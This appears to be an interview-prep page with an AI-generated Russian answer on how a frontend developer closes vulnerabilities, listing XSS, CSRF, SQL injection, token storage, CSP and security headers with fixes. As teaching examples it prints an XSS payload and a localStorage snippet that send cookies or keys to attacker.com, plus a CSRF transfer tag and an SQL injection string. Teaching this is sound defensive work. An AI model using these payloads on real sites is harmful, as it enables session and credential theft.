← Назад к вопросам

Как закрывал уязвимости?

1.0 Junior🔥 141 комментариев
#Soft Skills и рабочие процессы

Комментарии (1)

🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)

Ответ сгенерирован нейросетью и может содержать ошибки

Как закрывал уязвимости

Безопасность — это критически важная часть разработки. У меня есть систематический подход к поиску и закрытию уязвимостей. Расскажу на примерах из реальной практики.

1. XSS (Cross-Site Scripting) — самая частая уязвимость на frontend

Проблема: вывод пользовательского ввода без санитизации

// УЯЗВИМО
function displayComment(comment) {
  const div = document.createElement('div');
  div.innerHTML = comment.text; // Если text содержит скрипт, он выполнится!
  document.body.appendChild(div);
}

// Пример атаки:
const malicious = '<img src=x onerror="fetch(\'https://attacker.com\/?cookie=\' + document.cookie)">';
displayComment({ text: malicious });
// Скрипт украдёт cookies!

Решение 1: использовать textContent вместо innerHTML

// БЕЗОПАСНО
function displayComment(comment) {
  const div = document.createElement('div');
  div.textContent = comment.text; // Текст, не HTML
  document.body.appendChild(div);
}

Решение 2: санитизировать HTML

import DOMPurify from 'dompurify';

function displayComment(comment) {
  const div = document.createElement('div');
  const clean = DOMPurify.sanitize(comment.text);
  div.innerHTML = clean; // Теперь безопасно
  document.body.appendChild(div);
}

Решение 3: React автоматически защищает от XSS

// React БЕЗОПАСЕН по умолчанию
function Comment({ text }) {
  return <div>{text}</div>; // React экранирует HTML
}

// Это выведет текст буквально '<img ...>', не выполнит скрипт
const malicious = '<img src=x onerror="alert(1)">';
<Comment text={malicious} />

Если нужен HTML, используй dangerouslySetInnerHTML с санитизацией:

function Comment({ html }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

2. CSRF (Cross-Site Request Forgery)

Проблема: злоумышленник может заставить браузер сделать запрос от имени пользователя

<!-- На сайте attacker.com -->
<img src="https://mybank.com/transfer?to=attacker&amount=1000000">
<!-- Если пользователь авторизован на mybank.com, деньги пройдут! -->

Решение: CSRF tokens

// Backend отправляет token
const token = await fetch('/api/csrf-token').then(r => r.json());

// Frontend отправляет token с каждым изменяющим запросом
const response = await fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': token,
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({ to: 'alice', amount: 100 })
});

// Backend проверяет token и отклоняет без него

Или используй SameSite cookies:

// Backend устанавливает cookie с SameSite
Set-Cookie: session=abc123; SameSite=Strict; HttpOnly
// Браузер не отправит эту cookie на cross-site запросы

3. Injection атаки (SQL Injection на frontend)

Проблема: передача необработанного пользовательского ввода в API

// УЯЗВИМО
const username = getUserInput();
const query = `SELECT * FROM users WHERE name = '${username}'`;
fetch('/api/search', {
  method: 'POST',
  body: JSON.stringify({ query }) // Отправляем сырой query
});

// Если пользователь вводит: ' OR '1'='1
// Query становится: SELECT * FROM users WHERE name = '' OR '1'='1'
// Это вернёт всех пользователей!

Решение: параметризованные запросы

// БЕЗОПАСНО
const username = getUserInput();
const response = await fetch('/api/search', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ 
    username // Передаём параметр отдельно
  })
});

// Backend обрабатывает параметр безопасно:
// SELECT * FROM users WHERE name = $1 (с параметром, не конкатенацией)

4. Утечка данных в браузере

Проблема: хранение чувствительных данных в localStorage

// УЯЗВИМО
const token = 'secret-api-key-12345';
localStorage.setItem('apiKey', token); // Любой скрипт на сайте может прочитать!

// XSS атакующий может сделать:
const stolen = localStorage.getItem('apiKey');
fetch('https://attacker.com?key=' + stolen);

Решение 1: использовать httpOnly cookies

// Backend устанавливает cookie
Set-Cookie: authToken=abc123; HttpOnly; Secure; SameSite=Strict

// Frontend не может прочитать (защита от XSS)
// Браузер автоматически отправляет с запросами

Решение 2: если нужно хранить в JS, использовать memory

// Храним в памяти (теряется при перезагрузке)
let authToken = null;

function setAuthToken(token) {
  authToken = token;
}

function getAuthToken() {
  return authToken;
}

// XSS атакующий не сможет прочитать (это локальная переменная)

5. Проверка происхождения (Origin validation)

Проблема: обработка запросов с неправильного origin

// Backend должен проверить Origin header
const origin = req.headers['origin'];
if (!['https://mysite.com', 'https://www.mysite.com'].includes(origin)) {
  return res.status(403).send('Forbidden');
}

// Frontend обычно в этом не виноват, но может проверить
if (window.location.origin !== 'https://mysite.com') {
  throw new Error('Invalid origin');
}

6. Проверка и валидация данных

Проблема: доверие к пользовательским данным

// УЯЗВИМО
const user = JSON.parse(userData);
if (user.isAdmin) {
  // Показываем admin панель
}
// Пользователь может изменить { isAdmin: true } в DevTools!

Решение: всегда проверять на backend

// Frontend может проверить для UX
if (user.isAdmin) {
  showAdminUI();
}

// Но backend ДОЛЖЕН проверить для безопасности
GET /api/admin/users
// Backend проверяет: является ли пользователь админом?
// Из сессии, не из пользовательских данных
if (!user.isAdmin) {
  return res.status(403).send('Access denied');
}
return admins;

7. Content Security Policy (CSP)

Проблема: XSS атаки

<!-- Отправляем CSP header из backend -->
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src *;
  connect-src 'self' api.example.com

<!-- Что это делает? -->
<!-- - Скрипты только с этого сайта и cdn.example.com -->
<!-- - Встроенные скрипты <script>alert(1)</script> НЕ выполнятся -->
<!-- - Стили только с этого сайта -->
<!-- - Картинки откуда угодно -->
<!-- - Fetch/XHR только на этот сайт и api.example.com -->

8. Dependency vulnerabilities

Проблема: уязвимости в npm пакетах

# Проверяем уязвимости
npm audit

# Результат:
# vulnerabilities found:
# 5 low, 2 moderate, 1 high

# Автоматически обновляем
npm audit fix

# Или вручную
npm update package-name@latest

Решение: регулярно проверяем и обновляем

{
  "scripts": {
    "audit": "npm audit --audit-level=high",
    "ci": "npm audit && npm test"
  }
}

9. Secure headers

Проблема: браузер может выполнить опасные операции

// Backend должен отправить правильные headers
X-Content-Type-Options: nosniff // Браузер не гадает MIME тип
X-Frame-Options: DENY // Страница не может быть встроена в iframe
X-XSS-Protection: 1; mode=block // Старый способ защиты от XSS
Strict-Transport-Security: max-age=31536000 // Только HTTPS
Referrer-Policy: strict-origin-when-cross-origin // Минимум данных в Referer

10. Мой систематический подход

Шаг 1: Code Review

  • Смотрю на innerHTML, eval, new Function
  • Проверяю валидацию пользовательского ввода
  • Проверяю, где хранятся токены
  • Смотрю на кросс-origin запросы

Шаг 2: Тестирование

npm audit              # Проверяю dependencies
npm run lint          # Статический анализ
npm run test          # Unit тесты (в т.ч. security тесты)

Шаг 3: Security headers

  • Проверяю, что backend отправляет правильные headers
  • Убеждаюсь, что используется HTTPS
  • Проверяю CORS конфигурацию

Шаг 4: Dependency scanning

# Регулярно
npm audit
# В CI/CD pipeline

Шаг 5: Практическое тестирование

  • Пытаюсь ввести <img src=x onerror="alert(1)">
  • Пытаюсь изменить localStorage и увидеть, влияет ли на функционал
  • Проверяю cookies в DevTools (есть ли HttpOnly, Secure, SameSite)

Ключевой вывод

Основные уязвимости на frontend и их решения:

  1. XSS — используй textContent, санитизируй, React защищает автоматически
  2. CSRF — используй CSRF tokens или SameSite cookies
  3. Injection — не конкатенируй пользовательские данные в запросы, передавай параметрами
  4. Утечка данных — используй httpOnly cookies, не храни в localStorage
  5. Validation — проверяй на backend, не верь пользовательским данным
  6. CSP — используй Content-Security-Policy headers
  7. Dependencies — регулярно обновляй и проверяй через npm audit
  8. Headers — убедись, что backend отправляет правильные security headers

Главное правило: никогда не доверяй пользовательским данным. Backend — единственный авторитет.